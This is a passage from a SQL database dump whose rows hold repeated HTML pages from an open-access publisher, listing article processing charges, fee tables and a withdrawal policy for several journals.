withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-18 00:00:05','2019-01-08 22:59:05',1),(23,34,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><strong>Journal of Surgery and Insights</strong></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-18 00:01:17','2019-01-08 22:58:13',1),(24,35,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Open Access Journal of Agriculture Research</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2018-07-18 00:02:09','2019-01-08 20:03:00',1),(25,38,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Trends in Biotechnology and Biochemistry</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p>&nbsp;</p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2019-01-08 08:31:18','2019-01-08 22:55:58',1),(26,36,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Current Research in Psychiatry and Brain Disorders</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2019-01-09 18:07:40','2019-01-09 18:18:30',1),(27,37,20,'<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Journal of Pain Management and Anesthesiology</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></span></p>\r\n',1,'2019-01-09 18:11:26','2019-01-09 18:16:04',1),(28,39,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion in indexing services 4) Marketing of journal and content: Making sure readers and authors know about the work published in the title. 5)Customer service: Responding to authors and readers.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article processing fees vary from journal to journal in respect to sort of manuscript submitted.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article processing fee varies from Journal to Journal.</strong>&nbsp;</span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellpadding=\"1\" cellspacing=\"1\" class=\"Table\" style=\"width:500px\">\r\n	<tbody>\r\n		<tr>\r\n			<td colspan=\"2\" style=\"background-color:#4caf50\">\r\n			<p style=\"text-align:center\"><span style=\"font-size:14px\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Emerging Infectious Diseases and Diagnosis Journal</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Type</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Publication Fee (USD)</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Research/Review/Video Article</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1519</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Case Report/Mini-Review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>1060</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Short Communication/Commentary/Letter to Editor/Opinion/Perspective/Book review</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>750</strong></span></td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Image Article/Editorial</strong></span></td>\r\n			<td style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>550</strong></span></td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:justify\">&nbsp;</p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Withdrawal Policy:</strong>&nbsp;An author is free to withdraw article at no charge-as long as it is withdrawn within a week of its original submission. However, once peer review is completed the paper is accepted for publication, and it has been worked into a journal issue, where we have incurred some costs from our end that need to be reimbursed. Hence author(s) are requested to pay about 25% of the publishing fee towards it for withdrawl.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">For any queries or any discussions regarding manuscript withdrawal/article processing fee, please contact us at: Contact@grfpublishers.org</span></p>\r\n',1,'2019-01-09 18:20:52','2019-01-09 18:20:52',1),(29,40,20,'<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\"><strong>Article Processing Charges:</strong>&nbsp;GRF Publishers is an online open access, peer reviewed journals publishing organization; we do not have funding/support from any Private Organizations/Government to run. To run our organization in an organized way, we charge manuscript processing fee from the authors to publish their manuscripts. We charge fee to maintain published manuscripts in online repositories. All our articles are published in most updated formats (HTML, PDF, etc.,)</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">GRF Publishers publishes all its journals in full open access under a Creative Commons (CC BY) license. This allows the scientific community and the general public to gain unlimited, free and immediate access to scholarly articles. To cover the cost of publication, authors pay an article processing charge (APC) for manuscripts accepted after peer-review.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Waivers may be granted at the Publisher&#39;s discretion and should be discussed with the editorial office when submitting the article. The editorial decision making is decoupled from the authors&#39; ability to pay the Article Processing Charges; however, authors should consider in advance whether they have sufficient funds to cover the full APC.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">The published articles have no subscriptions, and no restriction against using and sharing articles published in our journals. So, for maintaining published articles in online repositories publication fees is included.</span></p>\r\n\r\n<p style=\"text-align:justify\"><span style=\"font-family:Times New Roman,Times,serif\">Article Processing Charges (APC) is levied as it covers parameters included with 1) Editorial work: Peer review, administrative support, commissioning content, journal development. 2)Technical infrastructure and innovation: Development, maintenance and operation of online journal system and websites. 3) Production of articles: Formatting and mark-up of articles and inclusion 